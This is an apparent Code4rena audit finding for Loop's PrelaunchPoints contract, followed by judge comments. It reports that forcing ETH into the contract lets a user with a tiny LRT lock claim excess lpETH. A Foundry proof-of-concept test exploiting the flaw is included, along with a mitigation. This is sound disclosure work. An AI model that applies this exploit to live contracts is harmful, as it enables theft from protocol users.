[H-1] `PrelaunchPoints::lock, lockFor` allows a users to lock s small amount of LRT token and then force ether into the contract claiming as much lpETH as they want, removing the risk of locking a lot of tokens and braking the 2nd invariant

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Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L262

Vulnerability details

Description:

In the Prelaunchpoint the functions lock and lockFor allow users to lock LRTs or WETH into the contract. After the owner calls setLoopAddresses and converts all the ETH, users are able to call the claim and claimAndStake functions. A user can force ETH into the smart contract and right after call the claim function with the LRT Token with a small percentage. Because claimedAmount is set to address(this).balance this will also get the forced ETH, allowing users to remove the risk of locking a large amount and rather lock a small amount and then force ether to get the desired lpETH.

Impact:

1. Allows users to remove the risk of locking a large amount of tokens.
2. Allows users to mint how much ever lpETH they want, as long as they have the capital and a small locked amount of LRT Token.
3. This breaks the 2nd invariant - Deposits are active up to the lpETH contract and lpETHVault contract are set

Proof of Concept:

1. The user locks a desired amount of an LRT Token
2. The owner sets the loop addresses and the 7 days to withdraw pass
3. The owner converts all the ETH, which allows the user to claim, claim and stake
4. The user forces ETH into the contract
5. The user calls the claim function and gets the lpETH for the forced ETH

Paste this into PrelaunchPoints.t.sol

function testDepositAndStakeAfterTheClaimStartDate() public {
        uint256 lockAmount = 10;
        address userOne = vm.addr(1);

        lrt.mint(userOne, lockAmount);

        vm.startPrank(userOne);
        lrt.approve(address(prelaunchPoints), lockAmount);
        prelaunchPoints.lock(address(lrt), lockAmount, referral);
        vm.stopPrank();

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);

        bytes memory data = abi.encodeWithSelector(0x415565b0, address(lrt), ETH, ((lockAmount * 1) / 100));

        vm.deal(userOne, 10);
        vm.prank(userOne);
        (bool success,) = address(prelaunchPoints).call{value: 10}("");
        if (!success) revert("Not Successful");

        uint256 temp = lpETH.balanceOf(address(userOne));
        console.log(temp);

        vm.prank(userOne);
        prelaunchPoints.claim(address(lrt), 1, PrelaunchPoints.Exchange.TransformERC20, data);

        temp = lpETH.balanceOf(address(userOne));
        console.log(temp);
    }

Tools Used

Manual Review

Recommended Mitigation:

1. If the receive function is called revert

Assessed type

ETH-Transfer

[c4-judge]

koolexcrypto marked the issue as duplicate of #6

[c4-judge]

koolexcrypto marked the issue as duplicate of #33

[c4-judge]

koolexcrypto marked the issue as satisfactory